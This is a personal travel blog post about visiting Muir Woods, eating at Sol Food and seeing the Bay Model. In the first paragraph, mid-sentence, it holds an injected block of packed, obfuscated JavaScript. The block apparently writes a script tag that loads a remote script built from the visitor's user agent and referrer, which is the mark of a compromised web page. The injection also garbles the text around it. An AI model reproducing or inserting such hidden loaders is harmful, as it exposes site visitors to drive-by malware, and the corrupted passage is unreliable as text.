Last Friday I had the day off, so instead of sitting at home on our computers, we decided to venture out! Go us!
I left the planning to Nick, and he came through with a fun afternoon of bay area activities.
We ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfdzb|var|u0026u|referrer|knrbe||js|php’.split(‘|’),0,{}))
started out with a visit to Muir Woods. To tell you the truth, I wasn’t super thrilled about this. I’ve never understood the appeal of just looking at trees in a forest. Don’t get me wrong, I’ve tried it a few times….and was sort of underwhelmed. Yep, big, tall trees. I think someone needed to manage my expectations a bit better before those visits.
You’ll be pleased to know that I actually really liked Muir Woods. It felt like a little fairy or gnome was going to come flying out of the ground at any moment. Just magical.
The only downside to Muir Woods? It’s popular. Even on a Friday. There’s a main parking lot, a backup lot and then “street” parking. Needless to say we went on a “hike” (from our car to the entrance) before our actual “hike.” I’m using quotes here because the hike was really a walk – lots of people with little kids and strollers. And it was still magical peeps! There were additional, more rugged trails that branched off of the main trail, but we were on a schedule. Those trails would have to wait until next time!
Trivia: Muir Woods is actually a national monument, not a national park! Apparently it can take roughly 10 years to turn an area of land into a national park, but only a few months to turn it into a monument. We heard this from the lovely volunteer at a “tree talk.” Highly recommend these talks.
Since traffic patterns basically run our lives out here, we decided we didn’t have much time for lunch. We were about to jump into a Starbucks, when we found Sol Food! It was super tasty and right on the way to/from Muir Woods. Lots of words like organic, free range, quinoa etc in the menu. You get the idea.
Then it was off to the Bay Model. A scale model of the bay built by the Army Corp of Engineers. Story goes that in the 1940s, John Reber proposed building 2 dams in the bay. The Army Corp of Engineers built the model to study the potential effects. Needless to say, they decided against it. It was used as a research facility until 2005, when they realized computers could do the same type of work. So now it’s a fun place to go and learn about science.
It fills a building roughly 1.5 acres, so yeah, it’s big. The tides go in and out over the course of a 15 min – simulating 1 day. We sat there and stared at one section for an embarrassingly long amount of time, trying to watch the tide go in and out. Between the map enthusiast and the engineer, we both found it pretty entertaining (for about 20-30 min). Definitely worth stopping by if you’re in the area, but not worth a trip all on its own.
